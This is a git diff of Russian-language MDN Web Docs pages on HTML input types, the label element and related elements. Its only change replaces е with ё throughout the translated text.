              • date: {{HTMLVersionInline("5")}} Элемент управления для ввода даты (год, месяц и день, без времени).
                • 
@@ -40,11 +40,11 @@ translation_of: Web/HTML/Element/input
   
              • datetime-local: {{HTMLVersionInline("5")}} Элемент управления для ввода даты и времени без часового пояса.
                • 
   
              • email: {{HTMLVersionInline("5")}} Поле для редактирования адреса электронной почты. Перед отправкой проверяется, что входное значение содержит либо пустую строку, либо один действительный адрес электронной почты. Соответствуют CSS псевдоклассам {{cssxref(":valid")}} and {{cssxref(":invalid")}}.
                • 
   
              • file: Элемент управления, который позволяет пользователю выбрать файл. Используйте атрибут accept, чтобы определить типы файлов, которые могут быть выбраны.
                • 
-  
              • hidden: Элемент управления, которые не отображается, но чье значение отправлено на сервер.
                • 
+  
              • hidden: Элемент управления, которые не отображается, но чьё значение отправлено на сервер.
                • 
   
              • image: Кнопка вставки изображения. Вы должны использовать атрибут src, чтобы определить путь к изображению и атрибут alt - для определения альтернативного текста. Вы можете использовать атрибуты height и width, чтобы определить размер вставки изображения в пикселях.
                • 
   
              • month: {{HTMLVersionInline("5")}} Элемент управления для ввода месяца и года без часового пояса.
                • 
   
              • number: {{HTMLVersionInline("5")}} Элемент управления ввода числа(тип float).
                • 
-  
              • password: Однострочное текстовое поле, чье значение скрыто символом "звездочка". Используйте атрибуты minlength и maxlength, чтобы указать минимальную и максимальную длину значения, которое может быть введено.
+  
              • password: Однострочное текстовое поле, чьё значение скрыто символом "звёздочка". Используйте атрибуты minlength и maxlength, чтобы указать минимальную и максимальную длину значения, которое может быть введено.
    
                Любые формы, в которых присутствует важная информация(например, пароль), должны быть обработаны через HTTPS; в настоящий момент Firefox реализует составной механизм предупреждения, направленные против небезопасных форм для входа в систему - смотрите Небезопасные пароли.
                
   
                • 
   
              • radio: Кнопка-переключатель, позволяет выбрать одно значение из множественного выбора.
                • 
@@ -63,12 +63,12 @@ translation_of: Web/HTML/Element/input
    Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости..
   
              • text: Однострочное текстовое поле. Переносы строк автоматически удаляются из входного значения.
                • 
   
              • time: {{HTMLVersionInline("5")}} Элемент управления для ввода значения времени без часового пояса.
                • 
-  
              • url: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введенное значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введенного значения. Можно использовать такие атрибуты как pattern или maxlength, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.
                • 
+  
              • url: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введённое значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введённого значения. Можно использовать такие атрибуты как pattern или maxlength, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.
                • 
   
              • week: {{HTMLVersionInline("5")}} Элемент управления для ввода даты, содержащей число неделя-год и номер недели без часового пояса.
                • 
  
              
  
              {{htmlattrdef("accept")}}
              
- 
              В случае, если значением атрибута type является file, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделенным запятыми:
              
+ 
              В случае, если значением атрибута type является file, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделённым запятыми:
              {{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}
              Одиночный символ, который пользователь может нажать, чтобы переключить фокус на элемент управления.
              {{htmlattrdef("mozactionhint")}} {{non-standard_inline}}
              
@@ -143,7 +143,7 @@ translation_of: Web/HTML/Element/input
  
              {{htmlattrdef("list")}} {{HTMLVersionInline("5")}}
              
- 
              В атрибуте указывает id элемента {{HTMLElement("datalist")}}, в котором находится список предопределенных значений для заполнения. Браузер отображает только те варианты, которые соответствуют введенным символами. Этот атрибут игнорируется, когда атрибут type принимает значения hidden, checkbox, radio, file, или type в качестве кнопки.
              
+ 
              В атрибуте указывает id элемента {{HTMLElement("datalist")}}, в котором находится список предопределённых значений для заполнения. Браузер отображает только те варианты, которые соответствуют введённым символами. Этот атрибут игнорируется, когда атрибут type принимает значения hidden, checkbox, radio, file, или type в качестве кнопки.
              {{htmlattrdef("max")}} {{HTMLVersionInline("5")}}
              The maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value.
              {{htmlattrdef("maxlength")}}
              
diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html
index 0ee9046649..b9f77cd132 100644
--- a/files/ru/web/html/element/input/number/index.html
+++ b/files/ru/web/html/element/input/number/index.html
@@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/input/number
 
 
              Value
              
 
-
              {{jsxref("Number")}}, представляющий значение введенного числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:
              
+
              {{jsxref("Number")}}, представляющий значение введённого числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:
              <input id="number" type="number" value="42">
              
 
diff --git a/files/ru/web/html/element/input/password/index.html b/files/ru/web/html/element/input/password/index.html
index e745967864..b76c628f81 100644
--- a/files/ru/web/html/element/input/password/index.html
+++ b/files/ru/web/html/element/input/password/index.html
@@ -11,9 +11,9 @@ translation_of: Web/HTML/Element/input/password
 ---
 
              {{HTMLRef}}
              
 
-
              {{HTMLElement("input")}} элементы типа "password" предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенен, чтобы его нельзя было прочитать, как правило, путем замены каждого символа другим символом, таким как звездочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.
              
+
              {{HTMLElement("input")}} элементы типа "password" предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенён, чтобы его нельзя было прочитать, как правило, путём замены каждого символа другим символом, таким как звёздочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.
              
 
-
              Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и легкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.
              
+
              Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и лёгкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.
              
 
              Любые формы, содержащие конфиденциальную информацию, такую ​​как пароли (например, формы входа), должны обслуживаться через HTTPS; В Firefox теперь реализованы несколько механизмов для предупреждения от небезопасных форм входа в систему - см. Небезопасные пароли. Другие браузеры также реализуют аналогичные механизмы.
              
@@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/password
 
 
              Значения
              
 
-
              Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь еще ничего не указал, это значение представляет собой пустую строку (""). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.
              
+
              Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь ещё ничего не указал, это значение представляет собой пустую строку (""). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.
              
 
 
              Если указан атрибут {{htmlattrxref("pattern", "input")}}, содержимое элемента управления "password" считается действительным только в том случае, если значение проходит проверку; см. {{anch("Validation")}} для получения дополнительной информации.
              
 
@@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/input/password
 
 
              Использование полей ввода пароля
              
 
-
              Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введенный контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.
              
+
              Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введённый контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.
              
 
 
              Простое поле ввода пароля
              
 
@@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/input/password
  
              "off"
              
  
              Запрещает браузеру или менеджеру паролей автоматически заполнять поле пароля.
              
  
              "current-password"
              
- 
              Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это дает больше информации, чем "on", так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.
              
+ 
              Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это даёт больше информации, чем "on", так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.
              
  
              "new-password"
              
  
              Разрешить браузеру или менеджеру паролей автоматически вводить новый пароль для сайта. Он может быть автоматически сгенерирован на основе других атрибутов элемента управления или может просто указать браузеру представить виджет «предлагаемого нового пароля».
              
 
@@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/input/password
 
 
              Указание режима ввода
              
 
-
              Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определенного запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.
              
+
              Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определённого запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.
              
 
 
              <label for="pin">ПИН:</label>
 <input id="pin" type="password" inputmode="numeric">
              
@@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/input/password
 
 
              Настройка длины пароля
              
 
-
              Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырех и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.
              
+
              Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырёх и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.
              
 
 
              <label for="pin">ПИН:</label>
 <input id="pin" type="password" inputmode="numeric" minlength="4"
@@ -144,13 +144,13 @@ translation_of: Web/HTML/Element/input/password
 
 
              {{EmbedLiveSample("Selecting_text", 600, 40)}}
              
 
-
              Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошел (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенен, их полезность несколько ограничена.
              
+
              Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошёл (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенён, их полезность несколько ограничена.
              
 
 
              Валидация
              
 
-
              Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введенного пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.
              
+
              Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введённого пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.
              
 
-
              В этом примере допустимы только значения, состоящие как минимум из четырех и не более восьми шестнадцатеричных цифр.
              
+
              В этом примере допустимы только значения, состоящие как минимум из четырёх и не более восьми шестнадцатеричных цифр.
              
 
 
              
 
              <label for="hexId">Hex ID:</label>
@@ -163,7 +163,7 @@ translation_of: Web/HTML/Element/input/password
 
              
  
              {{htmlattrdef("disabled")}}
              
  
              
- 
              Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключенные значения полей не отправляются с формой.
              
+ 
              Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключённые значения полей не отправляются с формой.
              
  
              
 
              
 
@@ -171,7 +171,7 @@ translation_of: Web/HTML/Element/input/password
 
 
              Запрос номера социального страхования
              
 
-
              В этом примере принимается только ввод, который соответствует формату действительного номера социального страхования Соединенных Штатов. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.
              
+
              В этом примере принимается только ввод, который соответствует формату действительного номера социального страхования Соединённых Штатов. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.
              
 
 
              HTML
              
 
@@ -183,7 +183,7 @@ translation_of: Web/HTML/Element/input/password
 <label for="ssn">Value:</label>
 <span id="current"></span>
              
 
-
              Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введенное значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.
              
+
              Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введённое значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.
              
 
 
              В {{htmlattrxref("inputmode", "input")}} установлено значение "number", чтобы побудить устройства с виртуальными клавиатурами переключаться на макет цифровой клавиатуры для облегчения ввода. Для атрибутов {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}} установлено значение 9 и 12 соответственно, чтобы требовалось, чтобы значение было не менее девяти и не более 12 символов (первый не разделяет символы между группами цифр и последними с ними). Атрибут {{htmlattrxref("required", "input")}} используется для указания того, что этот элемент управления должен иметь значение. Наконец, {{htmlattrxref("autocomplete", "input")}} установлен "off", чтобы избежать попыток установить пароли менеджеров паролей.
              
 
diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html
index 76bd790484..00cf8262fe 100644
--- a/files/ru/web/html/element/input/radio/index.html
+++ b/files/ru/web/html/element/input/radio/index.html
@@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/input/radio
 
 
              {{ EmbedLiveSample('Basic_example', 600, 30) }}
              
 
-
              Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удаленный репозиторий https://github.com/mdn/interactive-examples и отправьте нам запрос на включение сделанных вами изменений «pull request».
              
+
              Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удалённый репозиторий https://github.com/mdn/interactive-examples и отправьте нам запрос на включение сделанных вами изменений «pull request».
              
 
 
              Радиокнопки называются так потому, что выглядят и функционируют в схожей манере с кнопками старомодных радиоприёмников, подобных представленному ниже. 
              
 
@@ -155,7 +155,7 @@ form.addEventListener("submit", function(event) {
 
 
              Использование радиокнопок
              
 
-
              Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространенные  функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.
              
+
              Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространённые  функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.
              
 
 
              Выбор радиокнопки по умолчанию
              
 
diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html
index fc14501602..e4f349c376 100644
--- a/files/ru/web/html/element/input/range/index.html
+++ b/files/ru/web/html/element/input/range/index.html
@@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/input/range
 
              Для этого поля нет доступного паттерна валидации, но следующая валидация реализованы следующие проверки
              
 
 
                
- 
              • Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдет ошибка некорректного ввода.
                • 
+ 
              • Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдёт ошибка некорректного ввода.
                • 
  
              • Значение не может быть меньше чем {{htmlattrxref("min", "input")}}. По умолчанию: 0.
                • 
  
              •  Значение не может быть больше чем {{htmlattrxref("max", "input")}}. По умолчанию: 100.
                • 
  
              • Значение должно кратно {{htmlattrxref("step", "input")}}. По умолчанию: 1.
                • 
@@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/input/range
 
                defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min
                : rangeElem.min + (rangeElem.max - rangeElem.min)/2;
                
 
-
                Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведет к установлению значения равного атрибуту max.
                
+
                Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведёт к установлению значения равного атрибуту max.
                
 
 
                Дополнительные атрибуты
                
 
@@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/input/range
  
              
-   
+   
@@ -94,7 +94,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              {{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}
              
 
-
              Смотрите управление диапазоном с помощью решетки ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.
              
+
              Смотрите управление диапазоном с помощью решётки ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.
              {{htmlattrdef("max")}}
              
 
@@ -102,7 +102,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              {{htmlattrdef("min")}}
              
 
-
              Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введенный в элемент, меньше этого значения, то элемент не проходит  проверку ограничения. Если значение атрибута min не является числом, то элемент не имеет максимального значения.
              
+
              Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введённый в элемент, меньше этого значения, то элемент не проходит  проверку ограничения. Если значение атрибута min не является числом, то элемент не имеет максимального значения.
              Это значение должно быть меньше или равно значению атрибута max.
              
 
@@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              
  
              {{htmlattrdef("orient")}} {{non-standard_inline}}
              
- 
              Похоже на  -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, orient атрибут определяем ориентацию слайдера. Значение horizontal, значит что слайдер будет отображен горизонтально, а vertical- что вертикально .
              
+ 
              Похоже на  -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, orient атрибут определяем ориентацию слайдера. Значение horizontal, значит что слайдер будет отображён горизонтально, а vertical- что вертикально .
              
 
              
@@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              Examples
              
 
-
              Пока тип number позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определенное значение. Инпут с типом range позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.
              
+
              Пока тип number позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определённое значение. Инпут с типом range позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.
              
 
 
              Несколько примеров основный ситуаций, в которых инпуты с range используются:
              
 
@@ -155,7 +155,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              Указание минимума и максимума
              
 
-
              По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с легкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.
              
+
              По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с лёгкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.
              
 
 
              Например, указать диапазон значений между -10 и 10, вы можете, используя:
              
 
@@ -185,11 +185,11 @@ translation_of: Web/HTML/Element/input/range
 
 
              Добавление хэш-меток и лейблов
              
 
-
              Спецификация HTML дает браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.
              
+
              Спецификация HTML даёт браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.
              
 
 
              Макеты контроллера диапазона
              
 
-
              Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определенные HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.
              
+
              Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определённые HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.
              
 
 
              Недекорированный контроллер диапазона
              
 
@@ -327,7 +327,7 @@ translation_of: Web/HTML/Element/input/range
 
              
 
              HTML
              
 
-
              В HTML нужно добавить обертку вокруг {{HTMLElement("input")}}  - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):
              
+
              В HTML нужно добавить обёртку вокруг {{HTMLElement("input")}}  - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):
              
 
 
              <div class="slider-wrapper">
   <input type="range" min="0" max="11" value="7" step="1">
@@ -335,7 +335,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              CSS
              
 
-
              Теперь нам нужно немного CSS. Во-первых, это CSS для самой обертки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повернутый слайдер в зарезервированном пространстве, не создавая беспорядка.
              
+
              Теперь нам нужно немного CSS. Во-первых, это CSS для самой обёртки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повёрнутый слайдер в зарезервированном пространстве, не создавая беспорядка.
              
 
 
              .slider-wrapper {
   display: inline-block;
@@ -372,7 +372,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              CSS
              
 
-
              Берем только те инпуты что имеют тип range:
              
+
              Берём только те инпуты что имеют тип range:
              
 
 
              input[type="range"] {
   -webkit-appearance: slider-vertical;
@@ -406,7 +406,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              CSS
              
 
-
              Берем только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right:
              
+
              Берём только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right:
              
 
 
              input[type="range"] {
   writing-mode: bt-lr;
@@ -416,7 +416,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              Все вместе
              
 
-
              Каждый из вышеперечисленных примеров работает в своем браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:
              
+
              Каждый из вышеперечисленных примеров работает в своём браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:
              
 
 
              HTML
              
 
@@ -427,7 +427,7 @@ translation_of: Web/HTML/Element/input/range
 
 
              CSS
              
 
-
              Берем только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем -webkit-appearance: slider-vertical для всех -webkit-based браузеров:
              
+
              Берём только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем -webkit-appearance: slider-vertical для всех -webkit-based браузеров:
              
 
 
              input[type="range"] {
   writing-mode: bt-lr;
diff --git a/files/ru/web/html/element/input/search/index.html b/files/ru/web/html/element/input/search/index.html
index a4307a573b..e870f86c85 100644
--- a/files/ru/web/html/element/input/search/index.html
+++ b/files/ru/web/html/element/input/search/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/search
 ---
 
              {{HTMLRef}}
              
 
-
              {{HTMLElement("input")}} элементы с типом search это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом text, но может отличаться стилизация за счет {{Glossary("user agent")}}, а также наличием специального не стандартизированного события {{domxref("HTMLElement/search_event", "onsearch")}}.
              
+
              {{HTMLElement("input")}} элементы с типом search это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом text, но может отличаться стилизация за счёт {{Glossary("user agent")}}, а также наличием специального не стандартизированного события {{domxref("HTMLElement/search_event", "onsearch")}}.
              
 
 
              {{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}
              
 
diff --git a/files/ru/web/html/element/input/tel/index.html b/files/ru/web/html/element/input/tel/index.html
index fca5203560..35f2014606 100644
--- a/files/ru/web/html/element/input/tel/index.html
+++ b/files/ru/web/html/element/input/tel/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/tel
 ---
 
              {{HTMLRef}}
              
 
-
              {{HTMLElement("input")}} элемент типа tel используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<input type="email"> и <input type="url"> , введенное значение не проверяется автоматически по определенном формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру
              
+
              {{HTMLElement("input")}} элемент типа tel используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<input type="email"> и <input type="url"> , введённое значение не проверяется автоматически по определённом формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру
              
 
 
              {{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}
              
 
diff --git a/files/ru/web/html/element/ins/index.html b/files/ru/web/html/element/ins/index.html
index 5378c50a55..7115a36be4 100644
--- a/files/ru/web/html/element/ins/index.html
+++ b/files/ru/web/html/element/ins/index.html
@@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/ins
    
              
-   
+   
-   
+   
diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html
index b8faa5aa7e..2984769302 100644
--- a/files/ru/web/html/element/label/index.html
+++ b/files/ru/web/html/element/label/index.html
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/label
    
-   
+   
@@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/label
    
-   
+   
-   
+   
@@ -53,7 +53,7 @@ translation_of: Web/HTML/Element/label
  
              {{htmlattrdef("form")}} {{HTMLVersionInline("5")}} {{obsolete_inline}}
              Элемент формы, с которым связан label (его владелец формы). Если указано, значением атрибута является идентификатор элемента {{HTMLElement ("form")}} в том же документе. Это позволяет размещать элементы label в любом месте документа, а не только как потомки их элементов формы..
- 
              Этот атрибут содержимого был удален из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.
              
+ 
              Этот атрибут содержимого был удалён из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.
              
  
              
 
diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html
index a87ea6a2b0..115c0c9a4e 100644
--- a/files/ru/web/html/element/li/index.html
+++ b/files/ru/web/html/element/li/index.html
@@ -10,7 +10,7 @@ translation_of: Web/HTML/Element/li
 ---
 
